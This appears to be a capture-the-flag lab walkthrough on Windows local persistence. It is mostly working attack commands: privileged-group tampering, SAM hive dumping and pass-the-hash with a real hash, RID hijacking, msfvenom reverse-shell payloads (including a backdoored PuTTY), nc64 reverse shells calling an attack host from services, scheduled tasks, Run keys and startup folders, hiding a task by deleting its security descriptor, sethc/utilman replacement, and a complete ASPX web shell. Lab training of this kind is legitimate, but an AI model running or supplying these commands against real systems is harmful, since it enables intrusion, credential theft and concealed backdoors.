Windows Local Persistence
Tampering with Unprivileged Accounts
Assuming we already dumped password hashes using lsadump::sam we can move from here and add our account to the Administrators group to help maintain persistence.
net localgroup administrators thmuser0 /add
Adding our account to the Administrators group could raise some suspiscion, so let's look at an alternate approach that would still allow us read/write access but not full Administrative rights. The Backup Operators group is the perfect choice as we will still be able to pull down SAM and SYSTEM hives.
net localgroup "Backup Operators" thmuser1 /add
We'll need to add this account to either the Remote Desktop Users or Remote Management Users groups so we can RDP in.
net localgroup "Remote Management Users" thmuser1 /add
We will use Evil-WinRM for this next part.
Upon logging in we notice we cannot access every file. The reason why is because the Backup Operations Group is disabled.
No worries, we can enable it in the registry.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Perfect, Backup Operators is now enabled.
whoami /groups
Now let's make copies of the SAM and SYSTEM files and transfer it to our attack box.
reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak
download system.bak
download sam.bak
From here we can dump the password hahes using Impackets secretsdump.py
/opt/impacket-0.9.19/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Now we can login to the Administrator account hsing a pass the hash attack.
evil-winrm -i 10.10.55.203 -u Administrator -H f3118544a214e728781d315ceab9c1fa
Let's head on over to C:\flags and retrieve our flag from flag1.exe.
Special Privileges and Security Descriptors
Special groups are limited to what the Operating System assigns. Privileges are specific tasks that can be performed on the system. These can range from low-level tasks like restarting the computer and all the way to taking ownership of a file. We can assign privileges to a user by running these commands:
Export current config:
secedit /export /cfg config.inf
Now assign our user, thmuser2, to both the SeBackupPrivilege and SeRestorePrivilege rights.
From here we want to convert the .inf file into a .sdb file so we can load the config back into the system.
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
Unfortunately our user cannot log in via Evil-WinRM, yet. We can fix this by modifying our Evil-WinRM sessions security descriptor which essentially allows thumuser2 to connect.
From PowerShell (RDP Session):
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
Now add thmuser2 and grant it full privileges to connect via Evil-WinRM:
Our user account is now configured to connect via Evil-WinRM. Additionally, checking the user's group memberships shows nothing unusual, which will help us maintain persistence:
net user thmuser2
From here we can login via Evil-WinRM and grab our 2nd flag:
evil-winrm -i 10.10.55.203 -u thmuser2 -p Password321
RID Hijacking
Another method to gain administrative privileges without actually being an administrator is by modifying registry values. When a user is created, an identifier is assigned to them called Relative ID (RID). This is an identifer that is universally recognized across the system. When a user logs in, the LSASS process grabs the RID from the SAM registry and assigns a token based on the granted permissions. This is where we can manipulate this registry value to make it so windows assigns a specified user with an Administrative access token.
Default windows confgurations assign Administrator accoiunts with RID 500. Regular accounts typically have RID >= 1000.
Command to find RIDs for users:
wmic useraccount get name,sid
As a proof of concept, we're going to sid RID 500 to thmuser3. To achieve this we need to access the SAM using regedit; however, SAM is restricted to SYSTEM which means Administrators cannot even edit it. We can work around this by using psexec which is a part of Sysinternals.
.\PsExec64.exe -i -s regedit
From regedit we will go to HKLM\SAM\SAM\Domains\Account\Users\ to find the key for thmuser3 and modify the RID. We will need to search for a key with the hex value 0x3F2 which translates into 1010. Change the bytes F2 03 to F4 01 which is the RID 500.
RDP in with thmuser3 and grab flag3.exe.
Backdooring Files
Method to create a backdoored PuTTY.exe using msfvenom.
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -b "\x00" -f exe -o puttyX.exe
Additionally, we can also create a reverse shell by attaching a PowerShell script to a legitimate program's shortcut/target area.
Start-Process -NoNewWindow "C:\tools\nc64.exe" "-e cmd.exe 10.13.28.215 1337"
Modify the target area with this shortcut:
powershell.exe -WindowStyle hidden C:\Windows\System32\script.ps1
Now we want to start a netcat listener to catch the shell.
rlwrap -cAr nc -lvnp 1337
Execute the shortcut:
Grab flag5.exe from here.
Hijacking File Associations
Start-Process -NoNewWindow "C:\tools\nc64.exe" "-e cmd.exe 10.13.28.215 1337"
C:\Windows\system32\NOTEPAD.EXE $args[0]
Abusing Services
We can create backdoor services:
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice
This essentially changes the password of the user Administrator to Passwd123. Additionally, we can also create a reverse shell with msfvenom and tie it with the service we created.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe-service -o rev-svc.exe
Upload using Evil-WinRM:
Assign the executable as a service, set the listener to catch the shell, and then start the service:
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
rlwrap -cAr nc -lvnp 1337
sc.exe start THMservice2
Grab flag7.exe:
Modifying Existing Services
Taking into account that blue teams will be monitoring newly created services, we should avoid doing that and tie in a backdoor into an existing service instead. A good way to do this is altering a disabled service, yet legitimate. We can check for these by typing:
sc.exe query state=all
There's a stopped service called THMService3:
When altering an existing service, we need to ensure we're modifying these three parameters:
BINARY_PATH_NAME= point to our payloadSTART_TYPE= autoSERVICE_START_NAME= set to LocalSystem to help us maintain SYSTEM priv
Let's create a new reverse_shell for this process.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe-service -o rev-svc2.exe
Now we want to upload the file using Evil-WinRM:
Reconfigure THMService3 parameters:
sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
Query the service again to ensure the parameters are properly set:
sc.exe qc THMservice3
As before, set up the netcat listener to catch the shell:
Grab our flag8.exe:
Abusing Scheduled Tasks
We can create a scheduled task that will execute a reverse shell every minute. Keep in mind that we wouldn't want this to occur as frequest as one minute; however, for the sake of time we will do it for this room.
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "C:\tools\nc64 -e cmd.exe 10.13.28.215 1337" /ru SYSTEM
-sc= schedule-mo= minute-ru= run
Let's check to make sure our task is scheduled:
schtasks /query /tn thm-taskbackdoor
And after we minute, we get a callback to our listener:
This is great, but it can be detected quite easily. Let's hide the task by deleting its Security Descriptor (SD). An SD is an ACL that identifies which users have access to the scheduled task. If a user isn't assigned to the ACL, then they won't be able to see the task. We will need to use psexec in order to modify system registry and delete the SD.
C:\tools\pstools\PsExec64.exe -s -i regedit
Confirm it's been deleted:
schtasks /query /tn thm-taskbackdoor
Grab flag9.exe:
Logon Triggered Persistence
We can add backdoors into the Startup Folder:
Specific User: C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
All Users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Let's generate a reverse shell payload:
msfvenom -p /windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o revshell.exe
Upload it:
Move it to the startup folder:
copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Log back into the RDP session and retrieve the callback.
Grab flag10.exe:
Run / RunOnce
u can also force a user to execute a program on logon via the registry. Instead of delivering your payload into a specific directory, you can use the following registry entries to specify applications to run at logon:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceHKLM\Software\Microsoft\Windows\CurrentVersion\RunHKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
The registry entries under HKCU will only apply to the current user, and those under HKLM will apply to everyone. Any program specified under the Run keys will run every time the user logs on. Programs specified under the RunOnce keys will only be executed a single time.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o revshell.exe
Upload it like usual and then move it to C:\Windows. Then we need to create a REG_EXPAND_SZ registry entry under HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
Login and catch the shell with netcat.
Winlogon
Another way auto start a program when logged in is the Winlogon component. This essentially loads windows profiles once the credentials have been authenticated.
Winlogon uses registry keys located here: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
Userinitpoints touserinit.exe, which is responsible for restoring user profile preferences.shellpoints to the OS system shell, which is commonlyexplorer.exe.
Create a shell, upload it, and then move it to C:\Windows.
From here we need to alter the Userinit registry value to include C:\Windows\revshell.exe.
Sign out and back in and catch the shell with netcat.
Logon Scripts
Same as before, generate a payload and transfer it over using Evil-WinRM. From there we're going to create an environment variable for a user.
Set the netcat listener, relog, and capture the shell.
Backdooring the Login Screen with Utilman
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Grab flag14.exe:
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Grab flag15.exe:
Persisting Through Existing Services
Using Web Shells
One way to persist is by uploading a webshell to the webserver. We can create a .aspx shell and save it to C:\inetpub\wwwroot.
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->
From our browser go to: http://10.10.93.117/shell.aspx
Grab flag16.exe: